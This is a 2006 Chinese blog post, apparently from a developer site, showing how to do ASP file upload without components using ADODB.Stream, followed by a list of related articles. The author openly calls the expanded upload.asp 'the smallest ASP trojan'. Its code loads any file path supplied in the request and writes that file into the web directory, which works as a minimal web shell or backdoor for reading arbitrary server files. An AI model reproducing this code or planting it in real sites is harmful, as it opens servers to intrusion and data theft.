五行代码实现ASP无组件上传

原创 2006年06月23日 11:38:00

 目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。

  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。

  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile Request("upfilename")
  objStream.SaveToFile Server.MapPath("test.gif"),2

  使用方法:

  把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:/test/test.gif

  localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。

  根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。

  upload.asp文件

<%
  Function GetFileName(ByVal strFile)
  If strFile <> "" Then
   GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
  Else
   GetFileName = ""
  End If
  End  function
 
  strFileName = Request.Form("upfilename")
  If strFileName<>"" Then
  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile strFileName
  objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
  objStream.Close
  response.write "OK!"
  Else
%>
  <form action='<%= Request.ServerVariables("URL") %>' method='post'>
  <input type='file' name='upfilename'> <input type='submit'></form>
<%
  End if
%>

相关文章推荐

asp实现无组件上传文件原理

一、上传网页       上传页面代码:       action="upload.asp"   method="post"   enctype="multipart/form-...
  • wkj001
  • wkj001
  • 2016年11月25日 13:05
  • 966

ASP无组件上传代码

  • 2008年06月07日 20:23
  • 2KB
  • 下载

asp无组件上传文件(分块--测试200M上传成功)

  接上一篇用aspupload组件上传文章,在这之前,尝试使用无组件上传,不过大于500M的就会报 “存储空间不足的错误”,对于想完成小文件上传的同志们,可以使用。   初始设置不再赘述。直接看代码...

jquery uploadify for asp 批量文件上传程序 整合风声asp无组件上传

jquery 上传插件 uploadify (官网:http://www.uploadify.com/) uploadify功能强大,支持多文件、批量上传、状态进度条等,提供前端文件限制相关...
  • engling
  • engling
  • 2011年10月27日 23:57
  • 1720

艾恩ASP无组件上传

  • 2014年04月09日 09:24
  • 331KB
  • 下载

asp无组件上传模块

  • 2009年04月27日 14:25
  • 320KB
  • 下载

五行代码实现 炫动滑动 卡片层叠布局,仿探探、人人影视订阅界面 简单&优雅:LayoutManager+ItemTouchHelper

前几天看有人实现了仿人人美剧的订阅界面,不过在细节之处以及实现方式我个人认为都不是最佳的姿势。 于是我也动手撸了一个,还顺带撸了个探探的界面. 且简单&优雅&快速。 利用LayoutManager实现...
  • zxt0601
  • zxt0601
  • 2016年12月19日 08:14
  • 15009

asp无组件上传类

  • 2007年11月24日 09:07
  • 21KB
  • 下载

艾恩ASP无组件上传类v10.10.22

  • 2012年04月25日 10:45
  • 93KB
  • 下载

FloatingDecoration:五行代码实现悬浮导航栏

Decoration
  • cx1229
  • cx1229
  • 2017年01月10日 12:36
  • 1193
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:五行代码实现ASP无组件上传
举报原因:
原因补充:

(最多只允许输入30个字)